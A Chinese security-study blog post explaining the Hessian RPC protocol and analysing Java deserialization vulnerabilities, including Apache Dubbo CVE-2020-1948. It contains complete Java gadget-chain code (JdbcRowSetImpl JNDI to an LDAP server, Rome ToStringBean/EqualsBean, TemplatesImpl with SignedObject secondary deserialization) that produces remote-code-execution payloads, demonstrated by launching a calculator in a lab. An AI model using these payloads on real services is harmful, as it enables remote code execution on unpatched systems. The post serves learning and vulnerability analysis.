RPC协议

RPC全称为Remote Procedure Call Protocol(远程调用协议),RPC和之前学的RMI十分类似,都是远程调用服务,它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息,这样跨平台和系统就更加方便

RPC协议的一次远程通信过程如下:

  • 客户端发起请求,并按照RPC协议格式填充信息
  • 填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
  • 服务端接收到流后,将其转换为二进制格式文件,并按照RPC协议格式获取请求的信息并进行处理
  • 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回

Hessian协议

Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Python、C++......语言都进行了实现,Hessian一般在Web服务中使用,在Java里它的使用方法很简单,它定义远程对象,并通过二进制的格式进行传输。

Hessian的简单使用

环境依赖

 <dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

Demo

package org.example;
import java.io.Serializable; public class Person implements Serializable {
public String name;
public int age; public int getAge() {
return age;
} public String getName() {
return name;
} public void setAge(int age) {
this.age = age;
} public void setName(String name) {
this.name = name;
}
}
package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException; public class Hessian_test {
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bis);
Object o = input.readObject();
return (T) o;
} public static void main(String[] args) throws IOException {
Person person = new Person();
person.setName("F12");
person.setAge(20);
byte[] s = serialize(person);
System.out.println((Person) deserialize(s));
}
}

感觉就是ObjectStream的一个替换,跟原生的并没有太大差异

Hessian反序列化漏洞

package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap; public class Hessian_JNDI implements Serializable {
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
} public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
} public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
} public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://localhost:1099/EXP";
jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); //手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"1"); byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
} public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}

搭个ldap恶意服务,运行代码成功弹出计算器,分析一下流程,readObject处打个断点,在readObject中计算tag的值进行一个Switch,我们这里计算出来是77也就是M



跟进readMap



获取到一个空的Deserializer对象,直接跟进readMap



这里创建了一个Map对象,将我们的恶意序列化数据put进去,这里调用了2次readObject,因此我们会重复几次也会弹好几个计算器,重复过程结束后回到put方法,进入put触发的就是常规rome链,似乎非常的easy

Apache Dubbo Hessian反序列化漏洞(CVE-2020-1948)

环境搭建

直接偷大佬搭好的:https://github.com/Claradoll/Security_Learning

启动Dubbo之前得准备一些东西,需要安装Dubbo,选用Zookeeper作为注册中心(Registry),Apache Dubbo框架的流程如下

  1. 首先服务容器加载并运行Provider
  2. Provider在启动时向注册中心Registry注册自己提供的服务
  3. Consumer在Registry处订阅Provider提供的服务
  4. 注册中心返回服务地址给Consumer
  5. Consumer根据Registry提供的服务地址调用Provider提供的服务
  6. Consumer和Provider定时向监控中心Monitor发送一些统计数据

https://dlcdn.apache.org/zookeeper/zookeeper-3.8.4/

下载好后配置一下conf文件夹里的zoo.cfg文件,一开始不叫这个名字,改一下,添加这两个东西,data和log目录自己创建

dataDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\data
dataLogDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\log

先启动zookeeper,bin目录下启动zkServer.cmd,然后IDEA里分别启动provider和consumer,访问这样就搭建成功了,consumer相当于客户端,provider就是服务端

反序列化漏洞分析

同样是JNDI注入触发rome链,攻击逻辑里面已经写好了,我们访问calc路由即可弹出计算器

这里分析一下Dubbo是怎么处理的,在服务端打个断点



再给DecodeableRpcInvocation的decode方法打个断点,方便调试



打完断点访问calc路由,进入decode方法



这一段代码获取了远程接口对象的路径和类型,以及dubbo的版本等等信息,但是在最后进行了反序列化,并且这里的in输入流是Hessian2对象



之后就是Hessian反序列化的流程了,为什么别的博主到这里tag变成了72,而我还是77,又一谜题,77常规的Hessian反序列化,就不往下分析了,可以去看看72的分析过程,不过大差不差

Hessian二次反序列化利用链

TemplatesImpl+SignedObject二次反序列化

上面确实有个疑惑是为什么要用JNDI,而不是单纯的TemplatesImpl链,在这里得到了解答,这是由于Hessian反序列化和Java原生反序列化的区别,如果用TemplatesImpl打的话,运行会报错

这是因为Tempaltes的_tfactory被transient修饰符修饰了,不可进行反序列化



那为什么原生的Java反序列化不会受到这个限制呢。这是因为原生反序列化过程中,假如类的readObject重写了,那就会调用它重写的逻辑,因此看看Templates类的readObject方法:



这里手动new了一个TransformerFactoryImpl实例,这样就不会遇到那种问题了

那既然如此,我们该如何绕过这个限制呢?思路其实很清晰,就是找一个类,那个类里有原生的readObject,这样就可以通过它触发二次反序列化,得以RCE,这个类也有一些要求,那就是要接上我们之前的Rome链子,在调用任意get和set那里接上,那么就要求目标类的get或者set方法中有readObject方法,刚好上篇讲的二次反序列化,这里就能够用到

package com.example.dubboconsumer.consumer;

import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap; public class Hessian_TemplatesImpl { public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\evilref.class")); setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setValue(badAttributeValueExpException,"val",toStringBean); KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine); ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1); HashMap hashMap = makeMap(equalsBean, equalsBean); byte[] payload = Hessian2_Serial(hashMap);
Hessian2_Deserial(payload);
} public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
} public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
} public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
} public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

运行即可弹计算器

Hessian反序列化分析的更多相关文章

  1. hessian 反序列化问题

    有class 比如 class Test{ private TestArrayList list=new TestArrayList(""); public static void ...

  2. Hessian 原理分析

    Hessian 原理分析 一.远程通讯协议的基本原理 网络通信需要做的就是将流从一台计算机传输到另外一台计算机,基于传输协议和网络 IO 来实现,其中传输协议比较出名的有 http . tcp . u ...

  3. fastjson及其反序列化分析--TemplatesImpl

    fastjson及其反序列化分析 源码取自 https://www.github.com/ZH3FENG/PoCs-fastjson1241 参考 (23条消息) Json详解以及fastjson使用 ...

  4. [JavaWeb]反序列化分析(二)--CommonCollections1

    反序列化分析(二)--CommonCollections1 链子分析 首先新建一个TransformedMap,其中二三参数为可控,后续要用到 当TransformedMap执行put方法时,会分别执 ...

  5. Java安全之SnakeYaml反序列化分析

    Java安全之SnakeYaml反序列化分析 目录 Java安全之SnakeYaml反序列化分析 写在前面 SnakeYaml简介 SnakeYaml序列化与反序列化 常用方法 序列化 反序列化 Sn ...

  6. javasec(五)URLDNS反序列化分析

    这篇文章介绍 URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作"利⽤链".因为其参数不是⼀个可以"利⽤"的命令,⽽仅为⼀个U ...

  7. Hessian 原理分析--转

    原文地址:http://blog.csdn.net/zhtang0526/article/details/4788879 一.      远程通讯协议的基本原理 网络通信需要做的就是将流从一台计算机传 ...

  8. Hessian原理分析

    一.      远程通讯协议的基本原理 网络通信需要做的就是将流从一台计算机传输到另外一台计算机,基于传输协议和网络 IO 来实现,其中传输协议比较出名的有 http . tcp . udp 等等, ...

  9. weblogic之CVE-2016-0638反序列化分析

    此漏洞是基于CVE-2015-4852漏洞进行黑名单的绕过,CVE-2015-4852补丁主要应用在三个位置上 weblogic.rjvm.InboundMsgAbbrev.class :: Serv ...

  10. shiro<1.2.4反序列化分析

    0x01.环境搭建 下载地址:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 环境:Tomcat 8.5.27 + idea ...

随机推荐

  1. 【Azure 应用服务】调用Azure REST API来获取 App Service的访问限制信息(Access Restrictions)以及修改

    问题描述 昨天的博文中(https://www.cnblogs.com/lulight/p/17099179.html)介绍了使用Python SDK 来获取App Service的访问限制信息,那么 ...

  2. Centos8 ssh配置三台虚拟机免密登录 root 及 非root 稍有差异;SSH的免密登录详细步骤

    为了保证一台Linux主机的安全,所以我们每个主机登录的时候一般我们都设置账号密码登录.但是很多时候为了操作方便,我们都通过设置SSH免密码登录. 一.配置SSH 基本语法:假设要用用户名root登录 ...

  3. gRPC入门学习之旅(一)

    gRpc简介 gRPC 是Google公司开发的基于HTTP/2设计,面向移动的一个高性能.开源和通用的 RPC 框架,是一款语言中立.平台中立.开源的远程过程调用(RPC)系统. gRpc官网地址: ...

  4. vscode git冲突 1. git stash 2. 更新代码 3. git stash pop 4.提交代码

    vscode git冲突 1. git stash 2. 更新代码 3. git stash pop 4.提交代码

  5. 关于Sql server数据类型HierarchyID 数据类型用法和递归显示完整路径

    SQL Server 2008版本之后的新类型HierarchyID 不知道大家有没有了解, 该类型作为取代id, parentid的一种解决方案,让人非常惊喜. 官方给的案例浅显易懂,但是没有实现我 ...

  6. MFC自定义CStatusBar文字的颜色

    MFC里面的CStatusBar是没法自定义文字颜色的,需要我们自己绘制.这篇文章是在 Display colored text on Status Bar 代码的基础上进行改进的,使用起来更方便. ...

  7. etcd每个节点都存储了完整的键值对数据集,为什么扩容etcd集群仍可分散存储压力?

    etcd每个节点都存储了完整的键值对数据集,这主要是为了确保数据的一致性和高可用性.在这种设计下,任何一个节点都可以处理读取请求,并在本地提供数据,从而无需跨节点通信.这种冗余的数据存储方式也增加了系 ...

  8. Sealos 云开发:Laf 出嫁了,与 Sealos 正式结合!

    千呼万唤始出来,Laf 云开发最近已正式与 Sealos 融合,入住 Sealos!大家可以登录 Sealos 公有云 体验和使用,现在正式介绍一下 Sealos 云开发. Sealos 云开发是什么 ...

  9. Python glob库的用法

    一.匹配指定文件夹下的所有文件 files = glob.glob("C:\\Users\\liuchunlin2\\Desktop\\测试数据\\*") print(files) ...

  10. C++ Concurrency in Action 读书笔记一:thread的管理

    为避免混淆,用thread表示std::thread及其对象实例,用线程表示操作系统概念下的线程 Chapter 2 thread的管理 2.1 thread的创建(构造函数) a. 默认构造函数 d ...